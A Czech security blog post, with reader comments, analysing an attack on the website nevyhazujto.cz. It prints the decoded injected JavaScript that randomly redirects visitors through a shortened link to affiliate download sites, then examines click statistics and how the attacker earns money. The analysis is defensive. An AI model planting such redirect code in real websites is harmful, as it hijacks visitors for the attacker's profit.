Bezpečnostní incident v číslech: napadení známé webové stránky

Včera jsme zaznamenali napadení serveru nevyhazujto.cz. Útočník, jak bývá v těchto případech obvyklé, použil úmyslně nečitelný javascript kód, který po dekódování přidával do stránky tento kód:

<script type="text/javascript">
var now = new Date().getTime();
if (now%7 == 0) {
window.location = "http://bit.ly/1glIErF";
}
</script>

Smysl je jednoduchý: v jednom ze sedmi případů přesměrovat uživatele na adresu https://bitly.com/1glIErF. Z této adresy je pak uživatel přesměrován řetězcem dalších webů, které můžou konečný cíl měnit. V jednom případě jsem skončil na bearshare.com, v druhém na torchbrowser.com s nabídkou ke stažení jejich programů (a téměř určitě bude cílů více). Kdo by za nimi hledal malware, tak bude možná překvapen, alespoň Virustotal je tak nehlásí. Monetizace v tomto případě útočníkovi plyne z affiliate programů daných webů, protože součástí odkazu je i jednoznačný identifikátor, který má útočník zaregistrovaný a sbírá přes něj provize z provedených instalací, uskutečněných nákupů apod.

Díky tomu, že server bit.ly dává jednoduchý přístup ke statistikám (stačí přidat k URL znaménko +), mohl jsem se podívat, jak byl útok úspěšný. Odkaz byl vytvořen 22. 3. a od té doby na něj ve dvou vlnách kliklo 101 019 uživatelů – jednou právě 22. 3. (58 882 kliknutí), podruhé včera (42 079 kliknutí, okolo 7600 za hodinu!). Když například bearshare.com nabízí až 1,25 $ za instalaci, tak stačí čtyři uživatelé za hodinu, kteří nabídku využijí, aby měl útočník tolik, kolik je u nás průměrná hodinová mzda. Po přihlášení šlo vidět i podrobnější statistiky podle HTTP referreru, které dokládaly, že z nevyhazujto.cz přišlo 519 uživatelů, z České republiky pak 1 812, tedy necelá 2 %. Protože útočník odkazy zadával přihlášený, šlo se podívat i na jeho další práci. Z toho, co jsem viděl, se jednalo o další varianty na stejné téma: přesměrování na weby s affiliate programem, nejstarší z listopadu 2013. Daného uživatele jsem tedy nahlásil kontaktní adrese pro tyto účely a bit.ly po třech hodinách daného uživatele zablokovalo – proto ten minulý čas.

Obranou na straně návštěvníka je v tomto případě hlavně vypnutý javascript, alespoň všude, kde není nutně potřeba. Bohužel na zmiňovaném webu se bez něj ani nepřihlásíte.

Autor:

Komentáře (5)

  1. J.M. říká:

    Vypnutý javascript? Ale no tak :) nemohl „útočník“ místo přidání JS pozměnit meta tag? A to se ještě na RSS CSIRT objeví toto: “
    Kolega Jíři Machálek z Labs NIC.CZ popísal v blog postu spôsob napadnutia známej webovej stránky cez úmyselne nečitateľný javascriptový kód. Ochranou proti tomuto druhu útokov je vypnutý javascript.“ To už je trochu moc, nemyslíte? K napadení stránky zcela jistě nedošlo přes výše uvedený kód JS, ten jen něco vykonává (konkrétně přesměrování).

    Takže jak k „napadení“ došlo? Zkompromitovaný server? Děravý web? Uhodnuté heslo k FTP?

    • Jiří Machálek říká:

      Meta tag změnit mohl, ale tím by ten web nešel použít vůbec. Trik v tomto případě je ten, že uživatel, který je přesměrován si nejdřív myslí, že špatně napsal adresu a když ji zkusí zadat znovu tak má dobrou šanci, že už mu to vyjde a nebude to řešit.
      Už jsem takto napadených webů viděl hodně a nikdy to nebylo přes meta tag – tím neříkám, že to nejde, ale že se to tolik nepoužívá.
      V článku jsem vypnutí javascriptu zmiňoval jako obranu na straně návštěvníka. Jak došlo ke kompromitaci serveru je samozřejmě druhá věc, tu jsem neřešil. Dost pravděpodobně něco z toho, co zmiňujete.

  2. Jeden čtenář z miliónu dalších říká:

    J.M. : Vypnutý Javascript je možná prevence pro uživatele, další možností je ad block nebo kombinace greasemonkey se scripty, to chtěli nejspíše říci :). Na druhou stranu nevidím důvod proč by nešel injektovat JS podmínkou je ovšem mnohdy server, takže aby se toto všechno stalo musel být poslán script ke zpracování z útočníkova serveru … ale výpis logu je v tomto případě marný, když je stránka tak populární, pokud ten log ovšem neobsahuje i názvy států, pak by se to dalo filtrovat a odfiltrovat tak český přístup od toho zahraničního vycházíme-li z toho, že útočník není z tuzemska, ale i tak je to jako hledat jehlu v kupce sena, pokud ten zahraniční server najdete většinou se s protistranou na výměně informací stejně nedohodnete. Dneska je tolik možností diagnostiky, že pokud chce útočník server pouze restartovat stačí jeden jediný sken v odpoledních hodinách na vytíženém starém železu :))

  3. čerstvá káva říká:

    Vypnutej JS? Co se pak s tím dá asi tak dnes dělat? Jedině tak číst si novinky.cz, pardon ani to pořádně ne…

    • Jiří Machálek říká:

      Je toho pořád méně, ale zase to není tak, že nefunguje nic. Opravdu nevidím důvod, proč bych měl mít JS zapnutý „by default“ – když vidím, že se něco bez něj neobejde, tak přidám výjimku. Bezpečnostní rizika spojená s JS nejsou zanedbatelná.

Zanechte komentář